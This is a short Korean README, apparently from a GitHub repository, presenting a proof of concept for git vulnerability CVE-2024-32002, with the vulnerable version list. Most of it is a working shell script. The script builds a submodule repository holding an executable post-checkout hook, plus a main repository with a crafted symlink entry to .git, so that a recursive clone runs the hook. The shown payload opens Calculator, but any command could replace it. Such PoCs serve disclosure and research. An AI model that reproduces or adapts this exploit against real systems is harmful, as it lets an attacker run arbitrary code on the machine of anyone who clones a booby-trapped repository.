
git 취약점 CVE-2024-32002에 대한 개념 증명
계산기를 실행하는 간단한 개념 증명(PoC)입니다(macOS 예시만 해당). git clone --recursive 명령을 사용하면 이 저장소는 https://github.com/markuta/hooky 도 함께 내려받으며, 해당 저장소에는 post-checkout 스크립트가 포함되어 있습니다. 대부분 t7406-submodule-update.sh 파일의 커밋 수정을 기반으로 합니다.
참고:
2.45.1,2.44.1,2.43.4,2.42.2,2.41.1,2.40.2,2.39.4이전 버전은 취약합니다.
git clone --recursive github.com/markuta/CVE-2024-32002
# 서브모듈 저장소(페이로드)
git init hooky
cd hooky
mkdir -p y/hooks
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"
# 메인 저장소
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink